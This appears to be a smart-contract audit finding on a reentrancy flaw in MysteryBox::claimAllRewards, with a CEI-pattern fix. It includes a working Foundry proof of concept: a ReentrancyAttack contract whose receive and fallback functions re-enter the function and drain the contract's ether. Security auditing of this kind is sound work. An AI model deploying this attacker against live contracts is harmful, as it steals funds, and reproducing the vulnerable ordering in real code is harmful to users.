Summary
MysteryBox::ClaimAllRewards does not follow the checks, effects and interactions pattern and is vulnerable to a reentrancy attack.
This allows holders of a reward with a non-zero ether value, i.e. bronze, silver or gold, to drain the balance of the contract.
Vulnerability Details
Overview:
The external call and updating of the contract state have been highlighted in the function below. As can be seen, the external call takes place before the state has been updated, which violates the CEI pattern.
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
@> (bool success,) = payable(msg.sender).call{value: totalValue}("");
@> require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender];
}
Players that have more than 0 ether worth of rewards can utilise a malicious contract with a fallback/receive function. These functions will continuously call MysteryBox::claimAllRewards before the state can be updated. This results in an excessive amount of funds being sent to the player and the contract being drained.
Proof of Code:
Insert the following test into the TestMysteryBox.t.sol.
modifier boxesBought() {
uint256 boxPrice = mysteryBox.boxPrice();
vm.startPrank(user1);
uint256 boxesToBuy = 3;
for (uint8 i = 0; i < boxesToBuy; i++) {
mysteryBox.buyBox{value: boxPrice}();
mysteryBox.openBox();
}
vm.stopPrank();
_;
}
function testReentrancy_ClaimAllRewards() public boxesBought {
ReentrancyAttack reentrancyAttack = new ReentrancyAttack(mysteryBox);
uint256 attackCost = 0.5 ether;
uint256 initBalAttackerContract = address(reentrancyAttack).balance;
uint256 initBalContract = address(mysteryBox).balance;
console2.log("Initial bal attacker contract: ", initBalAttackerContract);
console2.log("Initial bal contract: ", initBalContract);
vm.prank(user2);
reentrancyAttack.attack{value: attackCost}();
uint256 finalBalContract = address(mysteryBox).balance;
uint256 finalBalAttackerContract = address(reentrancyAttack).balance;
console2.log("Final bal contract: ", finalBalContract);
console2.log("Final bal reentracy contract: ", finalBalAttackerContract);
assertEq(finalBalAttackerContract, initBalContract + attackCost);
assertEq(finalBalContract, 0);
}
The test above uses the malicious contract below to demonstrate that the MysteryBox::claimAllRewards function can be exploited to drain all the contract's funds.
Add this contract to TestMysteryBox.t.sol also and run the test to observe the exploit.
contract ReentrancyAttack is Test {
MysteryBox mysteryBox;
uint256 rewardsValue;
constructor(MysteryBox _mysteryBox) {
mysteryBox = _mysteryBox;
}
function calculateRewardValue() public {
MysteryBox.Reward[] memory myRewards = mysteryBox.getRewards();
uint256 _rewardsValue = rewardsValue;
for (uint8 i = 0; i < myRewards.length; i++) {
_rewardsValue += myRewards[i].value;
if (rewardsValue > 0) {
break;
}
}
rewardsValue = _rewardsValue;
}
function obtainReward() public payable {
uint256 i = 0;
while (rewardsValue <= 0) {
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.openBox();
calculateRewardValue();
i++;
console2.log("Attempt: ", i);
vm.warp(i);
}
}
function attack() public payable {
if (rewardsValue <= 0) {
obtainReward();
}
if (address(mysteryBox).balance >= rewardsValue) {
mysteryBox.claimAllRewards();
}
}
receive() external payable {
attack();
}
fallback() external payable {
attack();
}
}
As the test passes, it can be seen that the attacker was able to drain all ether from the MysteryBox contract.
Impact
The entire balance of the MysteryBox contract can be drained by a malicious player.
Tools Used
Manual review & Slither
Recommended Mitigations
Implement the checks, effects and interactions pattern in MysteryBox::claimAllRewards(), as seen below:
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
delete rewardsOwned[msg.sender];
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
}
The state is now updated before the external call, ensuring the contract cannot be re-entered.
